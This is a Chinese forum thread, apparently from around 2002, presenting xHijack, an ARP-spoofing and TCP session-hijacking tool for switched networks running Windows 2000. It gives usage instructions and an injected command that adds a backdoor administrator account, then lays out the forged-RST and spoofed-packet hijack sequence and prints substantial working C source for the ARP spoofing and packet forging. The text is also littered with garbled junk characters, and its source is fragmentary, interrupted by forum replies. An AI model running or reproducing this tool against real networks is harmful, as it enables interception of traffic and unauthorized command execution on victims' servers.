再谈交换环境下的会话劫持(For windows2000)

韩冰

第一步是开启IP Routing的功能，修改注册表
+ I0 h0 S' J( z, t6 z/ u8 h) QHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
第二步是ARP欺骗，具体原理我就不说了。
! c: o9 G" R5 t. P& }, B第三步就是开始劫持啦。
8 H; j: ~$ Q2 z* F: e7 F
我写了个程序xHijack可以实现第二、三步功能，使用如下:

Usage: xHijack ServerSide ClientSide
( ^# w5 i+ B4 n2 q* Q9 P
* m7 F9 r+ G3 ?1 _* [$ \0 g/ Q下面根据三种不同的情况分别说明如何输入参数：
6 G8 t' \. c1 w4 C: S<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
* O) |" @9 c, f, G7 `) F假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
c:\>xHijack 192.168.0.2 192.168.0.3
3 {: v) O0 y. {  H1 F劫持前数据流程：server <--> client
劫持后数据流程：server <--> hijacker <--> client

4 r1 A& u9 H) k8 |* e8 i3 L<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
6 f: `/ \8 L. q3 G1 @% Q5 i: IxHijack 202.202.202.2 202.202.202.1
; m* D; B7 J% \0 ]9 @  g& ?6 H劫持前数据流程：server <--> gw <--> routes <--> client
: D3 G$ i: S. X/ h4 u" x劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client

. y; D$ p2 w0 L<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
. e( _2 e7 z7 c, _" l  sxHijack 192.168.0.1 192.168.0.2
劫持前数据流程：client <--> gw <--> routes <--> server
/ X, v- F( ]% W0 e# D劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server

输入两个参数后，会提示你选择网卡，然后会提示
- _9 v1 W9 e9 U. r% k% I! il        <-- List all connections
6 u  o3 S. W& J* R7 N3 J9 Qr x       <-- Reset the number x connection
/ x' `" ?) g: y2 Cw x       <-- Watch the number x connection
h x command   <-- Hijack the number x connection to execute command
7 p0 T. h$ r2 _  ?
list、reset、watch命令我就不解释了。
假如现在有如下连接
4 {0 j; f" r# Q; @3 S(1) 202.202.202.202:23 <--> 192.168.0.3:2345
$ b' w4 o: J' A- ]我们想要劫持这个连接运行我们的命令，输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
pnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。
- d7 p1 W$ Y7 t: `- j2 g) C
劫持的流程如下：
, R. t' Q( o3 h<1>伪装成Server给Client发一个rst包
2 ?; L* Y! {' o4 }  ~1 a, Z2 A2 S% B<2>伪装成Client给Server发了一个数据包
% i! r# y" k: i+ m- T* a<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server

4 M" V- Y. _+ S, D( h, ^这样的话，我们只能发一个伪造的包，但我想已经足够了。
; b3 i+ `3 M. p1 ]$ f% _: B; U想要一直劫持那个连接也可以，如下
. }9 @. z' W# O; x<1>伪装成Server给Client发一个rst包
6 z! ]; s2 q7 [. G% M<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
: |8 `4 H! @& ?8 y7 e, l) _. `<4>Server回一个ACK包给client
; B2 A' S  ~) U; r0 t* O8 b# I<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
9 n9 t6 n: q# ?5 k$ v9 t<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。

不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。
0 N7 X  a) _1 J( A8 S- i- h

, f  [" K0 l1 ?刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
还请各位多多指点。
7 o* K% M( M& q, e
BTW:我没有空间，编译好的程序没地方放：（
" Y+ u* ~7 r3 i7 Z! Z

7 n9 M& H9 f1 z* m4 j. U, P
参考资料
5 v+ m# {! `5 ]' C( N$ _  S<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
* x' P9 _8 h- P. r: L" _2 k

# @! `& q  Z  x+ b8 o: L以下是程序代码
. Y  r% {" ^5 y----------------------------------------------------------------------
% T3 S' _3 C# b% ?& f/*-----------------------------------------------------------------------------
5 a; C. a* E3 t/ ]- O' r6 i3 M/ A5 EFile      : xHijack.c
5 b9 F7 u4 t" N1 {& A) G, P: W/ L; f) WVersion      : 1.0
Create at    : 2002/8/12
Last modifed at  : 2002/8/19
Author      : eyas
& t3 G0 `: J% O4 IEmail      : ey4s@21cn.com
HomePage    : www.ey4s.org
0 p1 w$ d3 w' h5 b0 `& `( K感谢refdom和shotgun发布的源代码，使我获益非浅。
If you modify the code, or add more functions, please email me a copy.

. I& x5 n( E" P) q1 E备注:
2 h/ Q5 c& {- N* E<>没有考虑IP头、TCP头超过20字节的情况
: f2 \& e0 S, {<>没有考虑数据包分片的情况
6 j3 v8 E; B. f# L6 ~" ]% T<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
4 E# Z; Z3 m- a6 ~显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
" `" c* ~. t2 G" c题了。
7 I. R2 a: b" e8 S5 k7 r
也许下一版本会修正这些问题，也许不会有下一版本了。

5 b+ i' k9 E# `; `0 z/ `  X) C- }9 y-----------------------------------------------------------------------------*/
! M' u& v. Q$ l# E+ F#include
#include
#include
6 H+ F1 E" r) |  T* W#include
8 v7 P4 v& T) i: }5 X#include
4 `& `3 z6 Y/ o+ U#include
- z5 m7 M9 ~$ J4 m; ^$ p; ]! I#include

#pragma comment (lib, "packet")
#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")
9 x6 Q3 ^, f: t. S
#define Max_Num_Adapter 10
+ f% d7 R& L; o  S0 S0 G8 a#define Max_Num_IPAddr  5
#define EPT_IP      0x0800      /* type: IP  */
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
" u% a4 o7 T# V/ M#define EPT_ARP      0x0806      /* type: ARP */
- n  h. I" W( A4 \7 m: x: {
/ S$ d2 u0 C  B- Z#define  ACTION_NONE    0
#define  ACTION_WATCH  1
1 f: o0 x3 P6 f3 {# |! |#define  ACTION_RESET  2
#define ACTION_HIJACK  3
! v" N4 I% b) B5 `( v
/*以1字节对齐*/
#pragma pack(1)
( P( F9 S; i3 {' ^4 r  I& P. Htypedef struct _ehhdr
{
. v. v& `! W! ?0 ]( T  unsigned char  DestMAC[6];
  unsigned char  SourceMAC[6];
% E3 s6 d4 l5 {& z! `$ i+ X  unsigned short  EthernetType;
}EHHDR, *PEHHDR;
8 C4 U' k( _% A9 O! S! X/ I5 f% b
% x: d3 v2 I% f2 u% w( Ktypedef struct _iphdr        //定义IP首部
{
  unsigned char h_verlen;      //4位首部长度,4位IP版本号
  unsigned char tos;        //8位服务类型TOS
: y! E9 |! F0 V/ i) ?  unsigned short total_len;    //16位总长度（字节）
! h) G) m' k5 _9 W  unsigned short ident;      //16位标识
  unsigned short frag_and_flags;  //3位标志位
+ D( x: \$ v1 K' E) ^( i/ p  unsigned char ttl;        //8位生存时间 TTL
  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
  unsigned short checksum;    //16位IP首部校验和
  unsigned int sourceIP;      //32位源IP地址
  unsigned int destIP;      //32位目的IP地址
}IPHDR, *PIPHDR;

/ t9 y8 p- m) j, M3 B: \; Ftypedef struct _tcphdr        //定义TCP首部
0 n; y5 S( e- M4 D$ ^{
$ l# z8 N7 U/ O( L5 [" m  USHORT th_sport;        //16位源端口
  USHORT th_dport;        //16位目的端口
: m5 f% V4 O" l! V3 x. l  unsigned int th_seq;      //32位序列号
' H! L3 h+ H& e% s+ u3 x  unsigned int th_ack;      //32位确认号
  unsigned char th_lenres;    //4位首部长度/6位保留字
  unsigned char th_flag;      //6位标志位
6 \0 i5 w8 I0 `& k  USHORT th_win;          //16位窗口大小
4 U" L8 N4 f- Z  `- o  USHORT th_sum;          //16位校验和
  USHORT th_urp;          //16位紧急数据偏移量
}TCPHDR, *PTCPHDR;

typedef struct _psdhdr        //定义TCP pseudo header
' Z& b) N2 y* r- O" ^9 m2 j{               
5 C& j/ X" O8 b8 E7 b  unsigned long saddr;
  unsigned long daddr;
  char mbz;
) ?, n7 f- i5 k, j" T  char ptcl;
" b  ?0 ~) {. K3 G5 s  unsigned short tcpl;
% U- F8 Z1 Q, u3 O5 U9 b- w}PSDHDR, *PPSDHDR;
& }* U/ y6 u( G
typedef struct _arphdr
; n- _( s% p" _3 I. _( l{
  unsigned short  HrdType;//硬件类型
/ @0 t' n& o- R5 z  unsigned short  ProType;//协议类型
+ U: {* ~2 b& F, G% j1 P# s  unsigned char  HrdAddrlen;//硬件地址长度
  unsigned char  ProAddrLen;//协议地址长度
  unsigned short  op;//operation
8 T7 a3 l, Q- \  unsigned char  SourceMAC[6];/* sender hardware address */
  unsigned long  SourceIP;/* sender protocol address */
& f: U! f; i3 |- a  unsigned char  DestMAC[6];/* target hardware address */
& @8 z6 @3 d$ \  unsigned long  DestIP;/* target protocol address */
' [9 b- n5 K" E" |6 J0 X0 K" Y}ARPHDR, *PARPHDR;

typedef struct _ArpPacket
{
  EHHDR  ehhdr;
  ARPHDR  arphdr;
}ARPPACKET, *PARPPACKET;
, O0 x- D+ o6 C8 [  f6 ^
7 i* r8 m) `* r  L7 }typedef struct _tcppacket
, V# H1 d7 p2 f# [( z  B{
7 b  N7 i, W4 Z. I' [  EHHDR  ehhdr;
" Z( N6 e, v5 W) |9 e* ^5 u' P7 d  IPHDR  iphdr;
  TCPHDR  tcphdr;
9 t( H3 {  E' q/ I7 _# x6 f}TCPPACKET, *PTCPPACKET;

typedef struct _conninfo
{
. ]0 x+ d7 k) _  z  DWORD  dwServerIP;
. i* d. W" H& c: O  USHORT  uServerPort;
  P1 n1 D6 k( M, s. J4 W, j% V$ b  DWORD  dwClientIP;
  USHORT  uClientPort;
  DWORD  ident;//标识
  BOOL  bActive;
  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;

* ?+ v; U- ]6 m  {//定义全局变量

wy617958197

大侠好厉害啊

韩冰

__finally
  {
2 ?. Y8 n' T  |. f% W# r3 ?    if(pHiJackPacket) free(pHiJackPacket);
  }
5 [% |6 R" w9 z3 n, l5 j' f6 a  t  return bRet;
- Q# y, O: @' ~% |}


0 F- H$ p; @1 B# F& `3 q+ w' j//
( x% T0 e% I+ B3 ]//功能：伪装成Server给Client发送rst包
//
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
7 P+ b2 {$ [  M0 b8 E7 Z{
/ M* L8 w& N3 R/ o0 ]5 d/ @  char    szBuff[60];
  PSDHDR    psdhdr;
/ R7 X; z; T5 P; @! m, S  PTCPPACKET  pTcpPacket = NULL;
3 f' F6 m0 t6 f/ H+ E$ S) e  BOOL    bRet = FALSE;
0 `+ I) Z; Q1 x4 k( ?; E
* E. p1 B9 x" t6 M" y9 T: K  __try
  {
    //检查当前指向想控制的连接的信息的指针是否为空
    if(!g_pCurrCtrlConn) __leave;
0 ?6 G. @' @9 i5 r9 }1 W    //allocate memory for rst packet
( b! ^8 m/ {1 G    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
2 C& x0 }" V( {% ^! I1 |& M    if(!pTcpPacket)
  U0 T$ p. ~( f8 C8 P" Y: o    {
      printf("malloc error:%d\n", GetLastError());
. o8 P- ]2 G* F      __leave;
2 f4 G# z' D' A8 o1 g    }
  {7 T: x8 l. N7 e    //fill ethernet head
, n. I& Z" g7 t" {1 v; }    memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6);
* I! n) J' e. @+ {' i$ f! P- S$ J    memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
8 K3 E) M7 ]; J! V    pTcpPacket->ehhdr.EthernetType = htons(EPT_IP);
; l5 v9 e" p/ h" l4 r, _0 b    //fil ip head
    pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
* X* v  T4 U2 K# W# Q% j    pTcpPacket->iphdr.tos = 0;
' ^; ^2 `8 _8 C% v5 X5 M# Q& C: E9 \    pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
+ F; M9 k) U- ~) u( B    pTcpPacket->iphdr.ident = 1;
: f" D" W% I. ?3 d    pTcpPacket->iphdr.frag_and_flags = 0;
1 {. w2 A2 ^; p& w    pTcpPacket->iphdr.ttl = 128;
: |' n/ ?5 _0 M0 \( ]1 h2 A0 t% o, v    pTcpPacket->iphdr.proto = IPPROTO_TCP;
$ j' g+ W$ g2 g9 i( [    pTcpPacket->iphdr.checksum = 0;
    pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址，伪装成服务器的
    pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址
) w" Q# r5 O6 V! P/ X6 |    //fill tcp head
% Q- }6 g. x1 t& @: v& e2 p    pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号，伪装成服务器的端口
' W; P' H6 f* u& s1 ]* Q0 J+ d    pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口
    pTcpPacket->tcphdr.th_seq = seq;//SYN
    pTcpPacket->tcphdr.th_ack = ack;//ACK
    pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
# f7 t! c5 m3 @9 t    pTcpPacket->tcphdr.th_flag = 4;//RST flag
    pTcpPacket->tcphdr.th_win = 0;
' M0 p6 [. G7 N/ Q! b; X    pTcpPacket->tcphdr.th_urp = 0;
    pTcpPacket->tcphdr.th_sum = 0;
    //fill tcp psd head
& D5 E9 M( I. u+ b9 @# m4 V    psdhdr.saddr = pTcpPacket->iphdr.sourceIP;           
1 u: V, b) y+ ^9 b) ~5 F# J    psdhdr.daddr = pTcpPacket->iphdr.destIP;           
9 @( M( ^' P( K8 t8 m% E" o+ f4 Y8 s    psdhdr.mbz = 0;
& e6 w' O! v% I9 o" J- `# ?/ Y! d    psdhdr.ptcl = IPPROTO_TCP;
: S& N. }+ ^  B( Q% }    psdhdr.tcpl = htons(sizeof(TCPHDR));
+ x, ^( g4 }' I' a3 G0 r% Q    //calculate tcp checksum     
2 ~8 \( [7 b/ z+ J9 y    memcpy(szBuff, &psdhdr, sizeof(PSDHDR));   
    memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR));
    pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
    //calculate IP checksum
    pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR));
    //fill send buffer
    memset(g_lpSendPacket->Buffer, 0, 1514);
, k; o! \, `! Y9 F  H0 v! _0 d    memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    {
9 Q1 ?1 `$ o; n7 z& b      printf("Error sending the rst packets!\n");
0 @! t% }/ F- M* R      __leave;
    }
! z. z8 W  {! \( s5 M! W8 W) U    else printf("Send RST packet ok!\n");
    bRet = TRUE;
  }
& h$ a$ E+ s) ~8 Q* z! C  __finally
: c) u% V4 ^) N2 b+ D6 w7 ~* R  {
8 d( s. u) h8 g" c4 }. L9 l    if(pTcpPacket) free(pTcpPacket);
+ V7 `& h" H7 t  }
9 ]+ O% ~# e+ U/ C  return bRet;
0 e; L7 \4 V7 c9 q+ ?$ N3 a}

7 w2 [7 Y! I4 }( h: z* o! d//
//功能：计算校验和
//
  s+ \3 a) W+ f7 V/ DUSHORT checksum(USHORT *buffer, int size)
{
& H' C( u# \0 A* w unsigned long cksum=0;
while(size >1) {
  cksum+=*buffer++;
  size -=sizeof(USHORT);
}
6 h9 V) W1 C- a. C1 E4 u if(size ) {
/ P( H' Y+ _/ F! {- i$ i- T8 i  cksum += *(UCHAR*)buffer;
}
2 s3 ^5 s2 J2 b& L: v' L9 ~) b% ` cksum = (cksum >> 16) + (cksum & 0xffff);
0 }2 }" K# j# A5 a" i3 e/ l) z! B cksum += (cksum >>16);
6 V" h; |- z* u9 r  V" Z8 I return (USHORT)(~cksum);
5 G: {5 u% J) O9 P}
6 G9 n- X6 k* @7 G2 \
' d4 h  l9 z6 L3 {8 T1 l+ V7 {//
$ d" T7 O5 J2 q+ @! s0 j8 [+ N9 L//功能:实施ARP欺骗
+ h. ?" Z1 D6 M6 ?//1 告诉ServerSide,ClientSide的mac是ownmac
; \* D) }/ Y- n% v! h//2 告诉ClientSide,ServerSide的mac是ownmac
//
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
{
5 d& m0 n7 }) J( C- u  int  iType = *(int *)lpType;
8 H* G: r# g8 [: H+ Q  X  ARPPACKET  ArpPacket;
4 {4 `6 i5 [; O% v( x1 ]2 ~+ N( H  LPPACKET  lpArpPacket;
- G, c/ h+ u$ L2 C" @8 d: J4 ]  char    szArpBuff[60];
1 v1 V5 f7 y* D3 Q% D
  switch(iType)
  {
; C1 h% [! a- [    case 1:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
      ArpPacket.arphdr.DestIP = g_ServerSideIP;
4 X* z( u" u+ x* c+ v- K( l      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
      break;
    case 2:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
) d9 p* a; G: \$ o' B- U      ArpPacket.arphdr.DestIP = g_ClientSideIP;
      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
" }: G9 T9 m3 ~, e6 f      break;
    default:
; s! }* X! c) D$ t# Q      return 0;
/ s( F: `4 O- {& V8 i  }
/ u8 @1 M2 ?3 q  //ethernet head
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
* O8 A/ f5 _0 @  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
! V3 g+ T9 n( E- S  //arp head
* W$ y: W) e% L" X9 @' X  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
# n1 Y; P0 J# k$ A1 M  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
- X" I& O7 @1 A( l' i1 y  ArpPacket.arphdr.HrdAddrlen = 6;
4 n( i/ R! B8 ~  ArpPacket.arphdr.ProAddrLen = 4;
# r8 W, @$ a/ w0 E  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
) l( k) w( J( j7 W5 P$ @  ArpPacket.arphdr.ProType = htons(EPT_IP);
  ArpPacket.arphdr.op = htons(2);//arp reply

  lpArpPacket = PacketAllocatePacket();
$ y' W! L7 w, g  d  if(lpArpPacket == NULL)
  {
+ m3 c+ c( I% z. A* E    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
# G1 z) ?% p4 r$ o    return 0;
% u* F" K4 U9 e+ x* E/ g  }
* o& e! Z; V# q  memset(szArpBuff, 0, sizeof(szArpBuff));
# s- L. z# Z0 A% o  C  memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET));
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
  //send arp packet
  while(1)
  {
; J, g* b* @8 F7 L    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
    {
      printf("Error sending the arp spoof packets!\n");
( G( D; X% B, N      return 0;
  v# A* u0 x! }6 l3 E  j1 a    }
    Sleep(1000);
  }
  k  O' P% j9 L8 Y! v" X# e* J  return 0;
}
: _# {8 Y1 u1 {( M% h
//
1 @+ S( T+ V; I2 N//功能：输入IP取得对应的MAC地址
//
+ ?2 Q) k' y' [. S; N- J# e: L  dBOOL GetMACAddr(DWORD DestIP, char *pMAC)
{
* S( M6 ]% x! i3 o, y& w6 p/ @& d  DWORD  dwRet;
  ULONG  ulLen = 6, pulMac[2];
  dwRet = SendARP(DestIP, 0, pulMac, &ulLen);
  if(dwRet == NO_ERROR)
- E8 k1 \" y+ j3 c* l  {
    memcpy(pMAC, pulMac, 6);
    return TRUE;
  }
6 j5 P6 F* y. U$ {  else return FALSE;
/ |3 ]4 n& i( z; S3 S' W! e* g) ?! O}

韩冰

pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE);
            //reset action flag
8 B0 f5 l! j2 Q3 J! y' i8 b) n            ResetActionAllFlag();
& U6 O! u- W' l1 P4 M3 Z  m. ?          }
          //start hijack
* Y) _7 k* f* k, b$ G' G4 t# N+ t3 @          else if(g_dwAction == ACTION_HIJACK)
/ v* j5 M8 I# ]3 h          {
            //send rst packet to client
# k" n. Q+ y9 W, E/ Z            SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
            //send hijack packet to client
            SendHiJackPacket(pTCPPacket);
/ {; u* ~, H# z$ ?            //reset action flag
            ResetActionAllFlag();
. h0 V7 H/ G. X, C5 p4 K  P          }
# W1 F4 [/ v: p5 F5 X, K        }
* t+ l8 _2 E) x- ?# ~+ R        //show the tcp data
* O+ ~. G% Q* ~- |        if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
/ o. W. S/ M. w6 {+ |        {
1 m9 D; j; H+ c" Z5 A! N          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
( E3 b4 I" y% r* F9 V          //暂不考虑IP、TCP头不是20字节的情况
( @2 E- P' I9 [          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
          pStr = (char *)pTCPPacket + 54;
4 y- }1 ?( Y1 d+ D* t' J8 I          for(i=0; i        }
8 `) u2 s1 n8 [9 @5 y( e) d! w# z      }
8 X3 U( t( g9 Y+ Z% z- m      //debug output
4 D! ^' m; |# c3 }1 X2 Q      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
    }//end of analyse packets while
, Z$ d" x3 Y3 k. ]; g7 o  }//end of recv packets while
  PacketFreePacket(lpRecvPacket);
4 l8 v8 t) K" B% v) r0 G' Z  return 0;
}


//
/ R" ^. u3 _6 _/ f) `//功能：操作记录所有连接信息的单向链表
4 b! ^0 N$ ]; F5 B//
1 k. j. ?/ R/ q  Z) a) ]. u! q# p: PDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
{
  PCONNINFO  pNew, pTmp;

  pTmp = g_pConnHead;
  while(pTmp)
  {
- s$ L; b% i, t4 V5 u    if(pTmp->bActive)
& Q3 j! H- F! B! q3 L    {
      //found it
      if( (pTmp->dwServerIP == dwServerIP) &&
0 F) b) P* l" V! `        (pTmp->uServerPort == uServerPort) &&
$ T" N% [1 ]" u        (pTmp->dwClientIP == dwClientIP) &&
        (pTmp->uClientPort == uClientPort) )
4 K$ B0 K. a& T$ u; k0 Z' @      {
- b! M9 m  e& W. I$ B. z4 y3 h        if(bDelete)
        {
7 O8 O( I- H  t" }! H          pTmp->bActive = FALSE;
          return 0;
3 W# E0 U6 {* ~$ |( {2 s) v, J        }
+ e" U$ `9 T' M: b. I  R        else return pTmp->ident;
9 `- Y9 J$ D, w- }( [" L) v      }
  F  z+ e: {9 z9 ~3 L* H/ W    }
* p. O' T; z% _8 z    pTmp = pTmp->Next;
  }
. K, D  p6 W. q/ L' m8 j3 m  //not found, create new node
  if( (!pTmp) && (!bDelete) && (bAddNew) )
7 W0 t0 `9 Q: \/ I/ Y' [8 ~  E  {
    //search unactive note
( H- x9 X: V! a6 d: `+ r    pTmp = g_pConnHead;
    while(pTmp)
9 B, j8 q: q: G8 C2 g" I* J    {
; k. o" b' D. S: M$ I% [      if(!pTmp->bActive) break;
% O1 Q7 N3 b2 c- R6 M" b, i9 e, G" B# y      pTmp = pTmp->Next;
    }
, I( V" z5 ^# @$ }7 Z    //found a unactive node
    if(pTmp)
    {
      pTmp->dwServerIP = dwServerIP;
, {! G* \8 e& l5 C/ O! J( M* O1 b      pTmp->uServerPort = uServerPort;
# I" o  I& ?; ^0 T5 b7 q, I      pTmp->dwClientIP = dwClientIP;
      pTmp->uClientPort = uClientPort;
5 ?* X& f9 d4 O$ R      pTmp->bActive = TRUE;
8 L6 ?: B' S* ~2 a: x      return pTmp->ident;
    }
' ]1 c7 h& e7 S+ f    //not found,create new node
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
5 t9 I* d; V" G9 Z) Y! C    if(!pNew)
    {
      printf("malloc for link node error:%d\n", GetLastError());
6 C/ d2 `( U/ b  y# u      return 0;
/ C7 Y9 g+ B' x* [5 R    }
! G! n! Z4 ^1 ?/ |4 N    //fill the struct
" J- p8 o4 N& e" Q5 N6 [9 l    pNew->bActive = TRUE;
; h% S; \# w+ X, [4 v    pNew->dwServerIP = dwServerIP;
( E& J* Q' J- J$ o* M    pNew->uServerPort = uServerPort;
6 V+ J# D( c8 k' H8 b9 t' D    pNew->dwClientIP = dwClientIP;
: M4 M3 N# m: g. w    pNew->uClientPort = uClientPort;
    pNew->ident = ++g_ident;
+ W- l& r3 [% J: h0 d( P) z" P    pNew->Next = NULL;
* D; t; i0 }7 Y- N& O# [    //add new node to link
    if(!g_pConnHead)
" X) F- W$ j, Q, [. Z      g_pConnHead = g_pConnLast = pNew;
    else
    {
: ~% x0 c, H5 x- T+ W      g_pConnLast->Next = pNew;
& w  y! V4 c& m. O      g_pConnLast = pNew;
7 h! F# T1 J( [; B    }
    return pNew->ident;
  }
  return 0;
}
0 K7 O2 C+ d( e6 i8 A7 O+ \
//
0 x! d+ Y/ e8 h- @//功能：判断一个数据包是不是只有ACK标志
/ \2 {0 q( H7 H$ d. A' d//
% P3 E7 b: A# R) Z* e1 Y. yBOOL IsACKPacket(unsigned char flag)
{
1 p  K) w5 B8 e# p9 x2 O" S5 }, `  int  i, j=1;
6 M4 s' R, l' |+ {, a0 \8 S5 o4 I  for(i=0 ; i<4; i++)
  {
. C' @- v* N6 Q, ^2 ^' x2 O    if(flag & j) return FALSE;
    j <<= 1;
" n# F4 o/ T; g5 a" }  }
; h3 k+ m( F2 {4 m+ X3 h: k  if(!(flag & 0x10)) return FALSE;//is ack?
. M3 Y5 f# k6 n5 L# F  if(flag & 0x20) return FALSE;
  return TRUE;
}

//
//功能：伪装成Client给Server发送数据包
' g9 g& O: ~, g. K* l//
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
) a, C, H1 P  l- J# K{
# o7 y2 a2 j* P2 p# s8 a! d
  char    szBuff[1520];
0 v# d4 F% G: k7 z0 |! x$ x* x  PSDHDR    psdhdr;
  PTCPPACKET  pHiJackPacket = NULL;
7 t7 l- [3 u. d2 Y6 q  BOOL    bRet = FALSE;

  __try
3 l  A1 X+ |7 L" s  {
    //
8 o5 p2 o- I! n0 y; u    if(!g_pCurrCtrlConn) __leave;
7 }+ P5 `% u( J8 B% }' j    //allocate memory for hijack packet
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
, R5 q& p, J; p9 |; k% S% U. ]    if(!pHiJackPacket)
    {
9 d, C% Q2 F6 r% ^2 f' P      printf("malloc error:%d\n", GetLastError());
( G4 \% @5 O  X. N      __leave;
0 S" p! l8 G; h    }
: M" c: D3 b% n+ l6 o( k( e    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
    //-------------- modify the packet ---------------//
' W. f( g& l4 y6 _; _& ?7 `    //modify ethernet head
) X8 r) Z: Z, d5 b    memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
0 b. `- i9 B$ g: b    memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
6 E& C6 p, B7 ]/ e4 ?. ?    //modify ip head
    pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
* q7 Q$ N% z$ N2 V    pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
    pHiJackPacket->iphdr.ident += 1;//标识加1
    pHiJackPacket->iphdr.checksum = 0;
8 @$ L4 d0 p: M. G$ J$ a+ P9 U- S3 C    pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址，伪装成client
    pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址，接收hijack包的地址
/ f: n: k2 R0 h1 o! C) G    //modify tcp head
3 l" |* m/ \3 ]5 p    pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
    pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
    pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
    pHiJackPacket->tcphdr.th_flag = 0x18;// PA
    pHiJackPacket->tcphdr.th_sum = 0;
1 z( _# E# \! K4 A+ o6 P% Q/ V: V    pHiJackPacket->tcphdr.th_win = 0x3F44;
